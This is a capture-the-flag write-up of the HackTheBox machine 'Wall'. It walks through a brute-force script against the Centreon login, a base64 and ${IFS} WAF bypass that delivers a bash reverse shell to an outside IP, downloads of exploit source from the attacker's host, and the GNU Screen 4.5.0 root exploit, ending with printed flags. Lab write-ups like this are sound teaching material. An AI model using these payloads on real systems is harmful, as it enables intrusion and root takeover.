HTB: Wall
Posted on 07 Dec 2019 in security • 5 min read
This is a writeup about a retired HacktheBox machine:
Wall.
This box is rated as a medium box. It implies a lot of frustration, some
bruteforce, an centreon exploit with a WAF bypass and the exploitation of a SUID
screen.
[TOC]
User
Recon
Let us start as always by a nmap scan. The ports 22 (SSH) and 80 (HTTP)
are open.
# Nmap 7.80 scan initiated Thu Nov 28 07:17:03 2019 as: nmap -p- -oA nmap 10.10.10.157
Nmap scan report for 10.10.10.157
Host is up (0.085s latency).
Not shown: 65444 closed ports, 89 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
# Nmap done at Thu Nov 28 07:30:05 2019 -- 1 IP address (1 host up) scanned in 782.66 seconds
Web
The home page is the default Apache page.
We run a dib against the site. Only one URL is found by the tool /monitoring.
-----------------
DIRB v2.22
By The Dark Raver
-----------------
OUTPUT_FILE: dirb
START_TIME: Thu Sep 19 11:29:07 2019
URL_BASE: http://10.10.10.157/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.157/ ----
+ http://10.10.10.157/index.html (CODE:200|SIZE:10918)
+ http://10.10.10.157/monitoring (CODE:401|SIZE:459)
+ http://10.10.10.157/server-status (CODE:403|SIZE:300)
-----------------
END_TIME: Thu Sep 19 11:41:07 2019
DOWNLOADED: 4612 - FOUND: 3
The page is protected with a basic auth with the message "Protected area by the admin". We guess that the user is "admin". We could try to bruteforce the password but that doesn't work.
After some frustration, I sent some POST data to the page. Which result in a
redirection to /monitoring/ and to a new URL.
root@kalili:~# curl -d 'data=data' -X POST http://10.10.10.157/monitoring
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://10.10.10.157/monitoring/">here</a>.</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at 10.10.10.157 Port 80</address>
</body></html>
root@kalili:~# curl -d 'data=data' -X POST http://10.10.10.157/monitoring/
<h1>This page is not ready yet !</h1>
<h2>We should redirect you to the required page !</h2>
<meta http-equiv="refresh" content="0; URL='/centreon'" />
We go to the /centreon URL. This is another authentication form.
We can guess that the user is admin. We load the 50 first enrties of rockyou
(head -n 50 rockyou.txt > rockyou_50.txt).
Disclaimer: Bruteforce attacks are pretty uncommon on HTB. I asked on the Discord if this was the right track before bruteforcing as it might distrupt the box for other users.
When looking at the requests we can see that there is a token protecting the application against brute force. We wrote a simple python script to make a first request, get the token and send a authentication request.
import requests
from bs4 import BeautifulSoup
url = "http://10.10.10.157/centreon/index.php"
def testPassword(password):
s = requests.Session()
r = s.get(url)
soup = BeautifulSoup(r.text, 'html.parser')
token = soup.find_all('input')[3].get('value')
r = s.post(url, data = {'useralias':'admin', 'password': password, 'submitLogin':'Connect', 'centreon_token':token})
if ('Your credentials are incorrect.' not in r.text):
print(password)
file = open("rockyou_50.txt")
for password in file:
testPassword(password.strip())
We launch the script and get the password: password1. We can then login in
the centron interface.
We search for the available exploits on this solution. Most of the know exploits are old but the one concerning Centreon 19.04.
# searchsploit centreon
--------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
--------------------------------------- ----------------------------------------
Centreon - SQL Injection / Command Inj | exploits/unix/remote/35078.rb
Centreon 1.4.2.3 - 'get_image.php' Rem | exploits/php/webapps/5204.py
Centreon 1.4.2.3 - 'index.php' Local F | exploits/php/webapps/31318.txt
Centreon 19.04 - Remote Code Executio | exploits/php/webapps/47069.py
Centreon 2.3.1 - 'command_name' Remote | exploits/php/webapps/36293.txt
Centreon 2.5.3 - Remote Command Execut | exploits/php/webapps/39501.txt
Centreon 2.5.3 - Web Useralias Command | exploits/python/remote/40170.rb
Centreon 2.5.4 - Multiple Vulnerabilit | exploits/php/webapps/37528.txt
Centreon 2.6.1 - Multiple Vulnerabilit | exploits/php/webapps/38339.txt
Centreon < 2.5.1 / Centreon Enterprise | exploits/linux/webapps/41676.rb
Centreon Enterprise Server 2.3.3 < 2.3 | exploits/php/webapps/23362.py
Centreon IT & Network Monitoring 2.1.5 | exploits/php/webapps/11979.pl
Oreon 1.4 / Centreon 1.4.1 - Multiple | exploits/php/webapps/4735.txt
--------------------------------------- ----------------------------------------
Shellcodes: No Result
Papers: No Result
A quick Google research let us find an article about the vulnerability.
If we directly use the exploit, we will see that our payload is blocked with a
403 error. There is a WAF blocking some characters A little digging allow use
to find the allowed and blocked ones. The spaces are blocked, the # is blocked
but the () and the $ the ; and the | are allowed. We can use encode our payload
using base64 in order to execute a payload with encoded characters.
In order to replace the spaces in our payload we must use ${IFS}
variable
We want to use the default bash reverse shell:
bash -i >& /dev/tcp/10.10.14.184/4444 0>&1
We want to pipe it to base64 -d and pipe the result to bash. Then we need to
discard the rest of the command (as the argument will not be valid). As the #
character is blocked, we can use a ;. Our command will be executed and then
the rest will failed with an error, but we do not care as our command will be
executed first.
Our final payload is echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xODQvNDQ0NCAwPiYx|base64${IFS}-d|bash${IFS}-;
As the script is not reliable we do it manually directly in the interface. We access the poller interface.
We add a new poller with our command. We need to specify that its target localhost.
Then we export its configuration (while have a netcat listener running).
Getting root
On this box, we do not need to get user before getting root. We will grab the user flag once we are root.
Reverse shell
We got a reverse shell, we start enumerating the box. While searching for SUID
file we found a SUID screen binary.
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
Our gtfobins friend do not tell us that
there is privilege escalation with an SUID screen. Only that we can wrote files.
Which means that we can wrote files as root with the SUID set.
(See this pull request to
gtfobins for more info.)
But looking a the available exploit with searchsploit we find an interesting exploit for the
specific screen version on the box.
(the sh script is a POC using the exploit described in the txt).
searchsploit screen 4.5.0
-------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
-------------------------------------------- ----------------------------------------
GNU Screen 4.5.0 - Local Privilege Escalati | exploits/linux/local/41152.txt
GNU Screen 4.5.0 - Local Privilege Escalati | exploits/linux/local/41154.sh
-------------------------------------------- ----------------------------------------
Shellcodes: No Result
Papers: No Result
First of all we get a better reverse shell with python python -c 'import pty; pty.spawn("/bin/sh")'
Then we follow the commands in the sh script while changing the path from
/tmp/ to /tmp/ioio/. Also we wget the libhax.c and rootshell.c which
we edited on our local system.
www-data@Wall:/usr/local/centreon/www$ cd /tmp/ioio
cd /tmp/ioio
www-data@Wall:wget http://10.10.14.169:8081/libhax.c
wget http://10.10.14.169:8081/libhax.c
www-data@Wall:wget http://10.10.14.169:8081/rootshell.c
wget http://10.10.14.169:8081/rootshell.c
www-data@Wall:/tmp/ioio$ ls
ls
libhax.c
rootshell.c
www-data@Wall:/tmp/ioio$ gcc -fPIC -shared -ldl -o /tmp/ioio/libhax.so /tmp/ioio/libhax.c
<SNIP>
www-data@Wall:/tmp/ioio$ gcc -o /tmp/ioio/rootshell /tmp/ioio/rootshell.c
<SNIP>
www-data@Wall:/tmp/ioio$ cd /etc
cd /etc
www-data@Wall:/etc$ umask 000
umask 000
www-data@Wall:/etc$ /bin/screen-4.5.0 -D -m -L ld.so.preload echo -ne "\x0a/tmp/ioio/libhax.so"
< ld.so.preload echo -ne "\x0a/tmp/ioio/libhax.so"
www-data@Wall:/etc$ /bin/screen-4.5.0 -ls
/bin/screen-4.5.0 -ls
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-www-data.
www-data@Wall:/etc$ /tmp/ioio/rootshell
/tmp/ioio/rootshell
id
uid=0(root) gid=0(root) groups=0(root),33(www-data),6000(centreon)
We got a root shell, we get the root flag and then the user flag.
cat /root/root.txt
1fdbcf8c33eaa2599afdc52e1b4d5db7
ls /hom/e
ls: cannot access '/hom/e': No such file or directory
ls /hom/e
ls: cannot access '/hom/e': No such file or directory
ls /home/
shelby
sysmonitor
ls /home/shelby/
html.zip
user.txt
cat /home/shelby/user.txt
fe6194544f452f62dc905b12f8da8406
Wrapping up
This box was a pain. This is the first box where a bruteforce is needed. This lead to high instability of the box on public servers. The blocked characters on the centreon payload complicate a lot the use of the CVE-2019-13024 exploit.
The root part is quit easy in comparison and interesting to use.
Edit: The more I think about this box the more I find it realistic. In fact, web applications should have some protection agains brute force attacks and have some WAF blocking characters (at least a mod security). content/2020.01_craft.md:meta:security